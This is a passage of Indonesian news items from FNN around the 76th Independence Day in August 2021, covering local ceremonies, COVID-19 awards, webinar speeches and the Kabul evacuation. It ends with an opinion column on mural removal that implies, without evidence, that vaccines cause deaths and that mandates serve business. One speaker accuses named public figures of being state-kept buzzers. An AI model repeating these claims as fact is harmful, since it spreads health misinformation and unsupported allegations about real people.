UU Cipta Kerja. "PKS konsisten bersikap bahwa kunci sukses pemulihan ekonomi nasional sangat ditentukan oleh keberhasilan Pemerintah dalam mengendalikan pandemi. Semakin sukses Pemerintah mengendalikan pandemi, maka perekonomian nasional akan cepat pulih," kata Salim Segaf Al-Jufri pula. (MD).

Warga Kota Jayapura Hentikan Aktivitas Saat Detik-Detik Proklamasi

Jayapura, FNN - Ratusan warga Kota Jayapura tepat pukul 12.17 WIT nampak menghentikan aktivitas termasuk aktivitas mengemudikan kendaraan di jalan saat peringatan Detik-detik Proklamasi Kemerdekaan RI berlangsung, Selasa. Wartawan ANTARA, Selasa, dari Jayapura melaporkan, sekitar 30-an kendaraan dan pejalan kaki yang melintas di jalan Ahmad Yani nampak menghentikan aktivitasnya saat Detik-detik Proklamasi yang berlangsung di Istana Merdeka Jakarta. Kasat Lantas Polresta Jayapura Kota AKP Vicky Pandu mengakui sebanyak 60 personel termasuk dari Ditlantas Polda Papua yang dikerahkan untuk mengamankan berlangsungnya Detik-detik Proklamasi di sejumlah ruas jalan. Ada 30 titik yang berada di sepanjang ruas jalan yang menjadi wilayah kerja Polresta Jayapura Kota yang saat berlangsungnya detik-detik Proklamasi aktivitas di jalan dihentikan selama tiga menit. Setelah selesai Detik-detik Proklamasi, aktivitas masyarakat kembali normal termasuk arus lalu lintas, kata AKP Pandu. Upacara Peringatan HUT Ke-76 RI di Kota Jayapura berlangsung di dua lokasi yakni Gedung Negara Dok V dan Kantor Wali Kota Jayapura. Suasana memperingati HUT Ke-76 RI nampak terlihat dari assesoris yang digunakan karyawan sejumlah tempat perbelanjaan yang ada di Jayapura. Para karyawan nampak mengenakan kaos merah atau mengikat kepala dengan menggunakan pita berwarna merah-putih. "Memang kami diwajibkan mengenakan kaos merah bertuliskan HUT Ke-76 RI yang sebelumnya dibagikan ke karyawan serta pita berwarna merah-putih, " aku Edi dan Ani, karyawan salah satu tempat perbelanjaan yang berlokasi di Jalan Ahmad Yani. (mth)

Satgas Beri Penghargaan kepada Para Pejuang Penanganan COVID-19

Jakarta, FNN - Satuan Tugas Penanganan COVID-19 memberikan penghargaan kepada para pejuang penanganan COVID-19 pada momentum peringatan HUT ke-76 Kemerdekaan Republik Indonesia, berkat jasanya yang terus berjibaku melawan pandemi selama 17 bulan terakhir ini. Mereka yang mendapat penghargaan itu meliputi tenaga kesehatan, relawan, duta perubahan perilaku, dan tenaga pendukung lain. Penghargaan diberikan secara simbolis kepada perwakilan profesi tenaga kesehatan baik itu dokter, perawat, radiologi, ahli teknologi laboratorium medis (ATLM), dan apoteker. "Atas nama BNPB dan Satgas Penanganan COVID-19, saya ingin menyampaikan penghargaan setinggi-tingginya atas peran aktif dan kerja keras yang diberikan para pejuang kemanusiaan," ujar Ketua Satgas COVID-19 Ganip Warsito dalam keterangan tertulis yang diterima di Jakarta, Selasa. Kesepuluh perwakilan tenaga kesehatan tersebut yakni dr Fathiyah Isbaniah SpP, dr Mariya Mubarika, Ilona Veronika Munte dan Suwandi (perawat), Firdha Adila Syuhada dan Rizky Kahar (radiologi), Agung Prasetyo dan Mujitahid Muhadli (ATLM), serta Sevty Sera dan Gina Arifah (apoteker). Ganip mengapresiasi dan berterimakasih atas segala kerja keras dan pantang menyerah dalam mengatasi pandemi COVID-19 di Tanah Air. Menurutnya, pandemi belumlah berakhir maka diperlukan solidaritas dan kesadaran bersama dalam mengakhirinya. "Marilah kita perkuat dan tingkatkan soliditas serta dedikasi nyata dalam perjuangan melawan pandemi COVID-19 sesuai peran dan fungsi masing-masing dan menjadi contoh dalam menjaga disiplin melaksanakan protokol kesehatan di masyarakat," kata dia. Ganip menambahkan penanganan pandemi COVID-19 harus dilakukan dengan strategi perang dan melibatkan seluruh lapisan masyarakat. Dia menyerukan perlunya seluruh elemen bangsa bersatu padu sebagaimana para pejuang merebut kemerdekaan Indonesia. "Peringatan kemerdekaan Republik Indonesia merupakan momen yang tepat untuk kita semua menghargai jasa para pahlawan, dan di masa sekarang menghargai para pejuang penanganan COVID-19 yang berjuang membebaskan kita semua dari pandemi," kata dia. Para penerima penghargaan akan mendapatkan sertifikat dan pin Pejuang Penanganan COVID-19. Acara pemberian penghargaan secara simbolis tersebut juga dihadiri oleh pada ketua asosiasi profesi tenaga kesehatan, perwakilan relawan dan duta perubahan secara daring melalui aplikasi Zoom. (mth)

Gubernur Banten Perkenalkan Mobil Listrik Karya Siswa SMKN Pandeglang

Serang, FNN - Gubernur Banten Wahidin Halim memperkenalkan mobil listrik karya siswa Sekolah Menengah Kejuruan Negeri (SMKN) 4 Pandeglang usai upacara peringatan Hari Ulang Tahun ke-76 Republik Indonesia di Lapangan Sekretariat Daerah Provinsi Banten di Serang, Selasa. Mobil listrik Sahabat Wahidin Halim itu dipesan oleh Gubernur saat meninjau SMKN 4 di Kabupaten Pandeglang. “Saya mengapresiasi dan menghargai karya dan kreativitas para siswa SMK. Ketua DPRD Provinsi Banten juga sudah uji coba,” kata Wahidin. “Ini salah satu upaya kita menangkal polusi. Saran saya, desainnya perlu disempurnakan,” ia menambahkan. Ketua DPRD Provinsi Banten Andra Soni juga mendorong Dinas Pendidikan dan Kebudayaan Provinsi Banten mendukung pengembangan mobil listrik karya siswa SMKN 4 Pandeglang. Kepala Sekolah SMKN 4 Kabupaten Pandeglang Susila menjelaskan bahwa para siswa merancang mobil listrik yang dilengkapi dengan panel surya tersebut dari nol. “Untuk merek mobil listriknya sesuai pilihan pemesan. Yang pesanan Pak Gubernur mereknya Sahabat Wahidin Halim,” kata Susila. Siswa SMKN 4 Kabupaten Pandeglang merakit dua tipe mobil listrik, yakni Molis 1 dan Molis 2. Molis 2 yang dirakit menggunakan motor 5000W DC 60/72 Volt, empat aki kering 12 Volt 100 Ah, rangka steel hollow, dan roda R14. 65/70 bisa melaju dengan kecepatan 40 sampai 60 km/jam dan kapasitas penumpangnya enam orang. Sedangkan Molis 1 dengan kapasitas penumpang empat orang yang bisa melaju dengan kecepatan 20 sampai 40 km/jam dirakit menggunakan motor 2000W DC 48/52 Volt, 4 aki kering 12 Volt 100 Ah, rangka steel hollow, dan roda R13.65/70. (mth)

Indonesia Sedang Menuju Kapitalisme Negara

Jakarta, FNN – Direktur CELIOUS (Center of Economic and Law Studies), Bhima Yudhistira berpendapat, Indonesia semakin terlihat ingin meniru kapitalisme negara. Padahal, kapitalisme itu sendiri tidak mau diintervensi oleh pemerintah. “Konsepnya menju ke sana (kapitalisme negara). Di Indonesia, pemerintah jadi garda terdepan pelopor kaptalisme itu sendiri. Itu dapat memicu ketimpangan di mana-mna,” kata Bhima Yudhistira dalam webiner bertema, “Makna Kemerdekaan pada Saat Pandemi Covid-19,” yang ditayangkan FNN TV YouTube Channel. Bhima menjelaskan, banyak negara fokus menangani pandemi. Akan tetapi, PCR kok harganya jauh lebih mahal. Dengan India lebih mahal Rp 500.000, padahal sama-sama impor. Tidak masuk akal. Di mana masalahya? Karena kapitalisme negara mementingkan investasi di sektor kesehatan. Negara dapat untung dari bea masuk dan pajak. Sementara otomotif pajak besar. Dalam pandemi diberikan insentif otomotif. Dalam kapitalisme negara, yang pertama diselamatkan adalah mereka yang melakukan lobi dan yang tidak berkontribusi . Setahun kehilangan Rp 220 triliun lebih dari insentif pajak. Tidak jelas, apakah setelah terima insentif, pengusaha tidak melakukan PHK. Bima mempertanyakan apa yang perlu kita dirayakan di HUT ke-76 RI. Lihat beberapa pekembangan. Bagaiman dulu pejuang melakukan perlawanan terhadap monopoli rempah-rempah. Sejarah tidak berulang persis sama. Polanya bisa berulang, hampir sama sekarang Mereka yang dulu menguasai rempah-rempah adalah VOC. Sekarang pola hampir sama terjadi, karena yang menguasai ekonomi adalah mereka yang main di sektor komoditas batubara dan sawit. Penguasaan ekonomi seperti itu menyebabkan ketimpangan semakin parah pada masa pandemi sekarang. “Apa yang mau dirayakan. Jumlah orang miskin 27, 5 juta. Orang kaya naik 65.00 selama pandemi. Satu hal yang ironi. Jumlah orang miskin bertambah banyak, orang kaya juga bertambah. “Tingkat ketimpangan melebar,” kata Bhima dalam diskusi yang dikemas dalam, “Indonesia Journalist Forum.” Sekarang, katanya, gini rasionya 0,38. Ketimpangan sektor pemilik lahan lebih mengkhawatirkan lagi, 0,6 lebih. Lebih tiggi dari ketimpangan rasio pengeluaran penduduk. Pengangguran 8,75 juta orang. Lebih mengkawatirkan generasi saya, generasi anak milenial atau generasi Z. Sebelum pandemi, pengangguran usia muda 13,4 persen, lebih tinggi dari Timor Leste. Hadiah paling indah di 2021, Indonesia turun kelas dari negara berpendapatan menengah ke atas. Itu hanya satu tahun, karena 2021 turun lagi mejadi negara pendapatan menengah ke bawah. Ia menyoroti utang luar negeri Indonesia yang terus menggunung. Setiap penduduk harus menanggung utang pemerintah Rp 24 juta. Sebab, total utang sekarang sudah Rp 6.500 triliun. “Saya berimajinasi bagaimana merayakan HUT ke 80 RI. Tidak usah jauh HUT ke-100 tahun 2045. Jika tiap tahun utang bertambah Rp 1.000 triliun, maka pada HUT ke-80 RI total utang menjadi Rp 10.500 triliun. Bisa Rp 27 sampai 28 juta per kapita . Bayi yang baru lahir...perhitungan sederhana. Total utang dibagi jumlah penduduk,” katanya dalam webiner yang dipandu Pemimpin Redaksi FNN, Mangarahon Dongoran (Bung Rahon). Setiap penduduk menanggung utang. Anak-anak muda menanggung utang pemerintah. Sebab, utang itu mempunyai konsekwensi terhadap penerimaan pajak. Sekarang di mana mau tingkatkan pajak, kecuali berburu di kebun binatang, alias berburu di dalam negeri. Karena tax amnesty atau pengampunan pajak gagal. Konseksi utang banyak. Pemerintah hati-hati tentang utang. VOC bangkrut karena korupsi dan utang. Banyak korperasi bangkrut karena gagal bayar utang. Jangan melihat utang baik-baik saja. Catatan gelap tentang utang harus dilihat. Banyak negara gagal membayar utang. Misalnya, Argentina. Bhima yang pengamat ekonomi berusia muda mengatakan, kini kesempatan bagi generasi muda melakukan reformasi, baik di bidang hukum, ekonomi dan lainnya. Yang penting, ketika perubahan dilakukan bersama, saya optimis dapat diperbaiki. (MD).

Evakuasi di Bandara Kabul Berlanjut, Biden Bela Keputusannya

Kabul, FNN - Pesawat-pesawat militer melanjutkan proses evakuasi diplomat dan warga sipil dari Afghanistan pada Selasa pagi setelah landasan pacu bandara Kabul dikosongkan dari ribuan orang yang ingin melarikan diri setelah Taliban merebut ibu kota itu. Jumlah warga sipil di bandara tersebut telah berkurang, kata pejabat keamanan Barat di sana. Sehari sebelumnya terjadi kekacauan di bandara itu. Pasukan AS melepaskan tembakan ke udara untuk membubarkan kerumunan dan orang-orang yang berpegangan pada pesawat angkut militer AS saat akan tinggal landas. "Banyak orang yang berada di sini kemarin sudah pulang," kata pejabat tersebut. Namun, sejumlah saksi mengatakan kepada Reuters kadang mereka masih mendengar letusan dari arah bandara, sementara jalan-jalan di kota itu tampak tenang. Pasukan AS pada Minggu mengambil alih bandara tersebut, satu-satunya akses untuk ke luar dari Afghanistan, setelah militan Taliban meraih kemenangan cepat dalam sepekan dengan merebut ibu kota Kabul tanpa perlawanan. Sebagian besar penerbangan ditunda pada Senin, ketika sedikitnya lima orang tewas, kata saksi, tanpa diketahui dengan jelas penyebabnya, apakah tertembak atau terinjak-injak oleh massa. Media melaporkan dua orang meninggal akibat terjatuh dari pesawat militer AS setelah pesawat itu tinggal landas. Tubuh mereka jatuh di atap rumah dekat bandara. Seorang pejabat AS mengatakan tentara AS telah menewaskan dua orang bersenjata yang menembak ke arah kerumunan orang di bandara. Terlepas dari situasi panik dan membingungkan di Kabul, Presiden AS Joe Biden membela keputusannya untuk menarik mundur pasukan AS dari Afghanistan setelah berperang 20 tahun yang dia sebut telah menghabiskan dana lebih dari 1 triliun dolar (sekitar Rp14.392,3 triliun). Namun sebuah video pada Senin yang memperlihatkan ratusan warga Afghanistan tengah berusaha menaiki pesawat militer AS dapat menghantui AS, seperti halnya sebuah foto pada 1975 tentang orang-orang yang berebut menaiki helikopter di atas gedung di Saigon menjadi simbol memalukan penarikan diri AS dari Vietnam. Biden menegaskan dia harus memilih, meminta pasukan AS bertempur tanpa akhir dalam "perang sipil" Afghanistan atau mengikuti kesepakatan penarikan yang dinegosiasikan pendahulunya, Donald Trump. "Saya berdiri tegak di belakang keputusan saya," kata Biden. "Setelah 20 tahun saya belajar dengan cara yang sulit bahwa tidak akan pernah ada waktu yang tepat untuk menarik pasukan AS. Itu sebabnya kita masih ada di sana." Menghadapi berbagai kritik, bahkan dari para diplomatnya sendiri, Biden menyalahkan kemenangan Taliban kepada para pemimpin Afghanistan yang kabur dan tentara mereka yang enggan untuk melawan. Taliban mengambil alih kota-kota terbesar Afghanistan dalam hitungan hari, bukan beberapa bulan seperti prediksi intelijen AS, setelah pasukan pemerintah yang tak bersemangat menyerah meski dilatih bertahun-tahun dan diperlengkapi oleh AS dan negara lain. Menteri Luar Negeri China Wang Yi mengatakan pada Menteri Luar Negeri AS Antony Blinken bahwa penarikan tentara AS secara gegabah memiliki "dampak negatif yang serius", kata media penyiaran pemerintah China CCTV, seraya menambahkan bahwa Wang berjanji akan bekerja sama dengan Washington untuk mempromosikan stabilitas keamanan. Blinken pada Senin juga berbicara dengan koleganya di Pakistan, Rusia, Inggris, Uni Eropa, Turki dan NATO untuk memastikan stabilitas kawasan, kata Departemen Luar Negeri AS. Rezim Baru Presiden Ashraf Ghani meninggalkan Afghanistan pada Minggu ketika militan Taliban menduduki Kabul. Dia mengatakan ingin menghindari pertumpahan darah. Mantan teknokrat Bank Dunia itu mendapat kritik tajam dari banyak tokoh, termasuk kepala bank sentral Ajmal Ahmady yang menyalahkan presiden dan para penasihatnya yang kurang berpengalaman atas kejatuhan Afghanistan. "Harusnya tak berakhir seperti ini. Saya muak dengan kurangnya perencanaan dari pemimpin Afghanistan," kata Ahmady, yang juga keluar dari negara itu pada Minggu, di Twitter. Dewan Keamanan PBB menyerukan pembicaraan untuk menyusun pemerintahan baru di Afghanistan setelah Sekjen PBB Antonio Guterres memperingatkan tentang pembatasan hak asasi manusia yang "mengerikan" dan pelanggaran terhadap hak-hak perempuan dan anak perempuan di negara itu. Ketakutan yang sama juga disuarakan oleh peraih Nobel Perdamaian Malala Yousafzai. Mantan komandan faksi dan perdana menteri Afghanistan Gulbuddin Hekmatyar mengatakan dia akan terbang ke Doha pada Selasa untuk bertemu dengan delegasi Taliban, bersama mantan presiden Hamid Karzai dan mantan menteri luar negeri dan utusan perdamaian Abdullah Abdullah, kata stasiun TV Al Jazeera. Banyak warga Afghanistan takut Taliban akan kembali menerapkan tindakan-tindakan kasar. Selama mereka memerintah pada 1996-2001, wanita dilarang bekerja dan hukuman seperti pelemparan batu, pencambukan, dan penggantungan, diberlakukan. Juru bicara Taliban Suhail Shaheen mengatakan pada Dunya News bahwa kelompok itu akan meningkatkan keamanan di Kabul dan "menghormati hak-hak perempuan dan kaum minoritas sesuai norma-norma Afghanistan dan nilai-nilai Islam". Shaheen menambahkan rezim baru akan memastikan adanya perwakilan dari semua etnis, dan Taliban akan bekerja sama dengan komunitas internasional untuk membangun kembali negara itu. Shaheen mengatakan lewat Twitter bahwa para pejuang Taliban sudah diperintahkan secara tegas untuk tidak menyakiti siapa pun. "Kehidupan, harta dan kehormatan siapa pun tidak boleh dirugikan namun harus dilindungi oleh mujahidin," kata dia. (mth)

Sejarawan UI Minta Pemimpin Nasional Sering Berdialog dengan Berbagai Lapisan Masyarakat

Jakarta, FNN - Berbagai peristiwa bersejarah yang terjadi sejak Proklamasi 17 Agustus 1945 diharapkan tidak terulang kembali. Agar tidak terulang, pemimpin nasional harus sering berdialog dengan berbagai tokoh dan lapisan masyarakat. “Dialog tersebut itu jugalah yang selalu dilakukan para tokoh bangsa. (Pemimpin) tidak mengedepankan kebijakan yang sifatnya menekan,” kata sejarawan Fakultas Ilmu Pengetahuan Budaya Universitas Indonesia, Didik Pradjoko dalam webiner yang ditayangkan FNN TV Youtube Channel, Senin malam. Dia menegaskan, sejarah tidak terulang. Akan tetapi, pola sejarahnya yang bisa berulang. Misalnya, korban revolusi 1945-1949 yang kabarnya mencapai 500.000 orang, baik meninggal karena dibunuh, kelaparan, kemiskinan dan lainnya. Kemudian, pola itu terulang lagi pada tahun 1965, yaitu pada tragedi Gerakan 30 September PKI (G-30S-PKI). Sejarah itu adalah guru kehidupan. Karena itu perbanyaklah belajar sejarah. Ia menegaskan, dengan membaca sejarah, maka sejarah akan terulagg, tetapi bukan peristiwanya. Pola-polanya bisa terulang. Misalnya, pada abad ke-19 terjadi gejolak petani di Pulau Jawa. Gejolak terbesar terjadi pada tahun 1818 oleh petani di Cilegon. Gejolak tersebut terjadi akibat kebijakan kolonial yang sudah mencapai puncaknya. Tahun 1950-an Indonesia menghadapi situasi yang hampir mirip dengan awal-awal proklamasi. Masih menyisakan revolusi, sehingga muncul pemberontakan di beberapa daerah. Apa yang terjadi tahun 1957, misalnya, berhimpitan dengan masalah Irian Barat (sekarang Papua). Menghadapi berbagai gejolak itu, Soekarno melakukan langkah persuasif dengan mengumpulkan tokoh-tokoh di daerah dan tokoh militer. Tahun 1957, Bung Karno bertanya kepada tokoh-tokoh, adakah ada peristiwa yang bisa dijadikan semacam refleksi tentang pentingnya persatuan dan kesatuan. Ternyata ada, 28 Oktober 1928, Sumpah Pemuda. “Kongres Pemuda pertama kali diperingati di Istana Negara. Harapannya, agar kelompok yang berseteru bersatu kembali. Tahun 1957 diangkat momentum untuk kesatuan bangsa. Gejolak tahun 1950-an terjadi juga di masa orba (orde baru). Juga awal reformasi. Bisa gunakan peristiwa sejarah jadi pelajaran. Sejarah sangat diperlukan untuk menerangi masa lalu. Rekonstruksi masa lalu,” jelasnya. Definisi sejarah banyak. Salah satu definisi tentang sejarah adalah buku sejarah. “Buku sejarah itulah sejarah. Karena buku sejarah itu ada kaidah ilmiah, kajian akademik sehingga validitas buku bisa terjamin. Sejarah ditulis dari data fakta yang benar, meski ada penafsiran berbeda,” kata Didik dalam webiner bertema, “Makna Kemerdekaan Pada Saat Pandemi Covid-19.” Dalam webiner yang dikemas dalam, “Indonesia Journalist Forum” itu, Didik mengatakan, sejak masuknya penjajah ke Indonesia, sudah ada benturan, hegemoni, perebutan rempah-rempah. Jangan sekali meninggalkan sejarah dan melupakan sejarah. Ia meningatkan masyarakat, utama generasi muda betapa perlunya mempelajari dan memahami sejarah. Masa penjajahan beberapa abad lalu sampai menjelang kemerdekaan 1945 kita lihat suatu ketimpangan dan diskriminasi penjajah kepada yang dijajahnya. Menimbulkan ketidakpuasan, ada perlawanan. Masa lalu, Sejak Sultan Babullan Ternate, Sultan Aceh, Sultan Demak, dan Raja Mataram Islam melakukan perjuangan melawan ketidakadilan, terutama monopoli pedagangan yang dipaksakan penjajah bangsa Eropa. Periode abad 19 sampai awal abad 20 terjadi ekspoloitasi penjajah terhadap tenaga manusia, tenaga kerja, perkebunan, ada tanam paksa. Menguras sumber daya alam dan sumber daya manusia utuk kepentingan negara jajahan. Timbulkan ketidakadilan dan pribumi melakukan perlawanan. Awal abad 20 ada Bung Karno,M. Hatta, Syahril, Agus Salim, Ahmad Dahlan, Hasim Asyari. Mereka berjuang bersama bersuara tentang kolonialisme. Melalui surat kabar dan penerangan dan aktivitas sosoial bersuara melawan kolonialsme . (FNN/MD).

Jokowi Diminta Segera Hentikan Buzzer

Jakarta, (FNN) – Presiden Joko Widodo (Jokowi) diminta segera menghentikan buzzer melalui orang yang memeliharanya. Sebab, jika buzzer disetop, berarti Jokowi menginginkan perubahan. Ulah para buzzer jelas dapatt merusak persatuan dan kesatuan, karena selalu mengadu-domba sesama anak bangsa. Permintaan tersebut disampaikan Yusuf Muhammad Martak dalam webiner yang diselenggarakan FTNN TV Youtube Channel, Senin, 16 Agustus 2021 malam. Pada acara yang dikemas dalam, “Indonesia Journalist Forum” itu, Yusuf Martak berbicara sebagai keponakan yang menghibahkan rumah tempat Bung Karno dan Hatta membacakan teks proklamasi 17 Agustus 1945, di Jalan Pegangsaan Timur Nomor 56. Sekarang, di tempat tersebut berdiri Tugu Proklamasi, dan berubah menjadi Jalan Proklamasi, Menteng, Jakarta Pusat. “Saya tahu persis siapa memelihara buzzer. Saya tahu siapa yang pelihara DS, AM, AB, karena saya beberapa kali melihat mereka di sekitar ring satu. Buzzer saja belum bisa dihentikan, bagaimana dikatakan merdeka,” kata Martak dalam webiner bertema, “Makna Merdeka Pada Saat Pandemi Covid-19.” DS, AM dan AB mengacu kepada nama Deny Siregar, Ade Armando dan Abu Djanda. “Kita singkirkan buzzer setan. Sengaja dilindungi. Mereka dipelihari aparat. Beberapa kali saya ketemu. Jangan ada kebohongan demi kebohongan,” katanya dalam webiner yang dipandu Pemimpin Redaksi FNN, Mangarahon Dongoran. Martak yang juga Ketua Gerakan Nasional Pengawal Fatwa (GNPF) Ulama mengharapkan dan menghimbau agar genarasi muda jangan hanya belajar dan mendengarkan sejarah dari medsos (media sosial) dan buzzer. “Belajarlah kepada orang yang menguasai sejarah dan buku sejarah. Ini (Indonesia) bukan negara main-main. Bukan negara buzzer yang kerjanya saling jatuhkan adu domba suku dengan suku dan agama dengan agama. Ini salah fatal,” katanya. Mengenai makna Hari Ulang Tahun ke-76 RI, Martak mengaku sedih melihatnya. Sebab, perayaan sekarang lebih pada simbolik. Tidak seperti perayaan semasa dia kecil dan masih muda. “Tiga empat hari lalu di depan rumah saya dipasang lampion tanda perayaan kemerdekaan. Tiba-tiba saya merasa sedih, karena tidak seperti waktu saya kecil dan muda, 17 Agustus dirayakan secara tulus. Rasanya sekarang cuma simbolik. Dulu benar-benar semarak,” ujarnya. Menurut pendapatnya, merdeka itu beradaulat, berdikari (berdiri di aas kaki sendiri), berjuang tanpa menggantungkan pada negara lain. Merdeka juga berarti bisa mengatasi segala masalah tanpa libatkan bangsa lain. Akan tetapi, tampaknya sudah bergeser jauh. Realita, jika lihat ke belakang, sejarah orang tua kita, berbeda orang tua, bapak yang hadir di zoom meeting dan dengar berbeda. Ia menceritakan secara singkat mengapa rumah keluarga Martak dihibahkan kepada Bung Karno dan kemudian ke negara. Antara Bung Karno dan keluarga Martak terjalin persahabatan yang erat. Pada awalnya, di pengasingan Bung Karno menderita sakit. Sakit yang sangat berat sekali. “Karena kedekatan keluarga Martak, yaitu paman saya langsung Faradj bin Said bin Awadh Martak adik kandung bapak saya Muhammad bin Said bin Awadh Martak, yang sangat cintai Bung Karno bahkan keluarganya. Jadi kalau mencintai Bung Karno pasti cintai merah putih negara RI. Saya sebagai turunan orangtua, paman saya berjuang untuk kemerdekaan dan kelangsungan negara,” ucapnya. Oleh karena perjuangan orangtua dan paman yang begitu hebat terhadap Indonesia, maka jangan coba-coba mem-framing dan memprovokasi saya sebagai orang yang begini dan begitu dengan tuduhan macam-macam. Kembali ke hubungan keluarga Martak dengan Bug Karno, ia menyebutkan ketika proklamator itu sakit berat, keluarganya membawa obat dan memberikan kepada Soekarno. Keluarga Martak seakan merawatnya. Kesehatan Bung Karno pulih menjelang pembacaan proklamasi. Menurut cerita yang ia peroleh, awalnya teks proklamasi itu akan dibacakan di lapangan Ikada sekarang Monas (Monumen Nasional). Akan tetapi, tiba-tiba dengan hati nurani dan panggilan jiwa nasionalisme yang sangat tinggi dari paman saya, ia sampaikan ke Bung Karno, “Saya tidak sejutu kalau fakta atau teks proklamasi negara yang besar ini dibacakan di pinggir jalan.” “Akhirnya dibawa ke Jalan Pegangsaan Timur 56. Bukan rumah kosong, tetapi rumah tinggal, dan keluarga sedang ada semua di dalam. “Saya keturunan Arab. Akan tetapi, belakangan sering ada tuduhan, keturunan Arab tidak punya jasa pada Indonesia. Ini terjadi karena ada fitnah antara suku yang satu dengan suku yang lain. Ironi!” katanya. Ada yang mencoba memutus atau menghilangkan sejarah seolah Arab sama sekali tidak mempunyai jasa dan dianggap asing. “Kalau sejarah saja sudah diputarbailkan bagaimana keturunan atau generasi mendatang mengetahui sejarah,” ujarnya. Sebagai bukti bahwa keluarga Martak menghibahkan rumah dan lahan itu, pada 14 Agustus 1950 pemerintah memberikan penghargaan yang disampaikan Menteri Pekerjaan Umum dan Perhubungan, Ir. Mananti Sitompul. Penghargaan itu diberikan sebagai ucapan terimakasih pemerintah atas hibah rumah kepada Bung Karno dan kepada negara. Menurut Martak, setelah pembacaan teks proklamasi, pamannya kurang puas jika hanya meminjamkan rumah. Jika hanya meminjamkan, seolah tidak ada sejarah kepada bangsa dan negara, serta keluarga. Cerita yang saya dengar, keluarga berunding. “Mereka ikhlas dan tulus keluar dari rumah itu dan diberikan kepada negara,” katanya. Ia kemudian membacakan surat yang ditulis Bung Karno pada 1953 kepada Bapak Faradj Martak “Saya ucapkan banyak terimakasih atas kiriman saudara madu arab yang baik sekali buat kesehatan saya karena saya menderita sedikit sakit beri-beri, muntah. Anggap madu itu baik sekali buat saya, di samping vitamin B3,” kata Martak yang membacakan surat yang ditandatangani Bung Karno itu. Alhamdulullah, sebagai generai kedua keluarga Martak, saya merasa bangga telah berbuat pada negara tanpa merongrong engara, tanpa ambil satu rupiah, satu sen pun korupsi. Alhamdulilah orang tua memberi contoh kepada anak turunannya memberi sebelum diberi, hibahkan sebelum mendapatkan hibah. Kalau saya dan keluarga memberi sesuatu kemudian mendapat sesuatu untung besar adalah wajar,” katanya. Jusuf Kalla ketika menjadi Wakil Presiden sempat berbincang dengannya di Tugu Proklamasi itu. Ia mengatakan, Jusuf Kalla sangat menyayangkan rumah yang dihibahkan telah dipugar, tidak lagi sesui aslinya. Mau tahu nilai hibah itu sekarang? “Luas Pegangsaan Timur 56 itu bukan hanya 100 atau 1000 meter per segi. Bisa 10.000 meter per segi. Jika dinilai sekarang, bisa triliunan rupiah,” kata Martak. (FNN/MD).

Fenomena Satire Mural, Ketika Akhirnya Tembok Dilarang "Bersuara"

Oleh: Mochamad Toha UPAYA membungkam suara rakyat tidak hanya memanfaatkan pandemi COVID-19 dengan kebijakan PSBB (Pembatasan Sosial Berskala Besar) dan PPKM (Pembatasan Pergerakan Kegiatan Masyarakat) Darurat hingga Level-Levelan. Dengan dalih untuk memutus mata rantai penyebaran Virus Corona, Pemerintah melarang rakyat berkerumun dan harus tetap menerapkan protokol kesehatan yang ketat. Bersamaan dengan itu, Pemerintah mewajibkan rakyat divaksinasi. Padahal, banyak kasus yang menimpa tenaga kesehatan, setelah divaksin justru kena Covid-19 dan meninggal. Begitu pula yang terjadi di kalangan rakyat. Dalih yang dipakai, meninggalnya itu tidak ada kaitannya dengan vaksinasi. Bahasa medisnya, bukan meninggal akibat KIPI (Kejadian Ikutan Pasca Imunisasi). Namun, karena ada comorbit pada diri pasien. Meski sudah menelan korban, vaksin tetap dibela sebagai bukan penyebab kematian. Vaksin itu bukan obat. Vaksinasi sudah menjadi kewajiban. Di DKI Jakarta, rakyat yang belum divaksin diburu sampai ke rumah-rumah. Kalau tetap tidak mau divaksin, rumahnya ditempeli stiker yang menandakan penghuni rumah itu masih belum divaksin. Tidak ada hak warga untuk menolak vaksin. Padahal, WHO sendiri sudah memberi sinyal, tidak boleh ada pemaksaan pada rakyat yang menolak vaksin. Rakyat pun akhirnya curiga, pemaksaan vaksin ini karena ada kaitannya dengan bisnis. Dalam kebijakan PPKM Level-Levelan yang sudah diperpanjang lagi hingga 23 Agustus 2021 itu, pergerakan rakyat dibatasi. Alasan tetap sama: pengendalian Covid-19 dan untuk memutus mata rantai penyebarannya. Itukah alasannya? Namanya juga “pembatasan pergerakan kegiatan masyarakat”, sehingga kegiatan apa saja yang berpotensi menimbulkan kerumunan ya dibatasi. Jum’atan ke masjid diatur. Bahkan, disuruh tunjukin “kartu vaksin”. Begitu pula ke mal-mal. Padahal, efikasi vaksin yang ada selama ini terhadap varian Delta bervariasi. Untuk vaksin AstraZeneca 1x suntik: 30,7%; 2x suntik: 67,0%. Vaksin Pfizer 1x suntik: 30,7%; 2x suntik: 88,0%. Sedangkan Sinovac hingga kini belum jelas berapa. Yang pasti, dengan adanya pembatasan tersebut, kegiatan yang berpotensi mengumpulkan orang banyak seperti unjuk rasa dan demo, dipastikan tidak akan pernah bisa terjadi. Inilah sebenarnya maksud di balik PPKM Level-Levelan tersebut. Jika ada yang protes atas berbagai kebijakan Pemerintah, dapat dipastikan akan berakhir di balik jeruji tahanan atau penjara. Jangankan unjuk rasa, mengadakan Maulid Nabi saja bisa berakhir di penjara, seperti yang dialami Habib Rizieq Shihab. Padahal, dalam ceramah Maulid Nabi tersebut tidak ada materi yang mengkritik Pemerintah. Tapi, tetap saja ada upaya untuk bungkam suara rakyat. Hingga gambar dan tulisan yang ada di tembok/dinding pun dibungkam aparat Pemerintah: Mural! Mural bertuliskan “Tuhan, Aku Lapar” yang pernah terpampang di Jalan Arya Wangsakara, Tigaraksa, Kabupaten Tangerang, Banten, akhirnya dihapus oleh aparat. Si pembuat mural, Deka Sike, sempat didatangi aparat dari Polres Kota Tangerang. Deka mengaku trauma dan tertekan setelah polisi mendatangi rumahnya. “Cukup tertekan, kami tidak menyangka efeknya polisi akan seperti itu,” ujarnya kepada Tempo, Minggu 15 Agustus 2021. Menurut Deka, ada sekitar 15 orang pemural yang ikut menuliskan kalimat Tuhan Aku Lapar sepanjang 12 meter itu dalam waktu empat jam. Apa yang mereka buat itu merupakan sebuah ekspresi dan karya seni sehingga tidak ada aturan hukum yang mereka langgar. “Ini adalah cara kami mengekspresikan sesuatu yang kami rasakan, Tuhan Aku Lapar adalah aduan dan keluhan kami kepada Tuhan sang Pencipta,” ujarnya. Tapi, setelah rumah mereka didatangi polisi pasca viralnya mural itu membuat mereka tertekan. “Mereka (polisi) memang bilang tidak mau membatasi, tapi dengan cara mereka mendatangi rumah kami itu sudah memberikan penekanan pada kami dan keluarga,” kata Deka. Sehingga pasca kejadian itu mereka mulai ragu dan merasa tidak bebas untuk berkarya 